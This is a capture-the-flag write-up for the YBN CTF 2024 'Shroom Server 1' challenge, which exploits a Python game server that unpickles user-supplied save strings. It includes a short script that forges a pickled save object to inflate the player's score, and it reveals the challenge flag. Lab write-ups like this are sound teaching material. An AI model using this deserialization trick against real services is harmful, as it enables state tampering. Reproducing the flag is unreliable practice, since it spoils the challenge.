# Shroom Server 1
Python pickle CTF challenge (YBN CTF 2024)
### Challenge Details
> Title: Shroom Server 1 \
> Description: I made a fun little game for you to get the flag! Just keep farming them shrooms! \
> Attachments: https://ctf.ybn.sg/files/a2e455b6b3545484b0501e4fc76ceb17/shroom-server-1.zip \
> Instance: `nc tcp.ybn.sg 21621`
After we `wget` and `unzip` the file, we should have:
```
.
├── Dockerfile
├── flag.txt
└── main.py
```
In `main.py`, we see two very interesting functions (main.py: lines 92-113):
```py
def save_state():
state = SaveState(name, farmed)
state_bytes = pickle.dumps(state)
state_b64 = base64.b64encode(state_bytes).decode("utf-8")
print("Save this magic string to reload your save: " + state_b64)
print("Goodbye!")
exit()
def load_state():
state_b64 = input("Enter your magic string: ")
state_bytes = base64.b64decode(state_b64.encode("utf-8"))
state = pickle.loads(state_bytes)
if state.name != name:
print("You don't have permission to load this save!")
exit()
global farmed
farmed = state.farmed
print("Save loaded successfully!")
```
We can engineer a "magic string" to set the `state.farmed` value to any value we want
by creating our own instance of `SaveState` initialised with `farmed` being `FLAG_REWARD_COST` (main.py:line 20).
Here's how I did it:
```py
import base64
import pickle
class SaveState:
def __init__(self, name: str, farmed: int):
self.name = name
self.farmed = farmed
def save_state(name, farmed):
state = SaveState(name, farmed)
state_bytes = pickle.dumps(state)
state_b64 = base64.b64encode(state_bytes).decode("utf-8")
print("Load this magic string to get the flag: " + state_b64)
save_state("root", 10 ** 15)
```
Copy the magic string.
Go to the challenge instance (`nc tcp.ybn.sg 21621`). \
Log in as "root". \
Load save and paste the magic string. \
You should have enough to buy the flag.
Flag:
:::spoiler Flag
`YBN24{pIckLES_for_sHROoms_hUH_f7131de9e575bbd77ad599ea9cb7f598}`
:::
\
\
Main Writeups Page: https://hackmd.io/@ctf-lol/ybnctf2024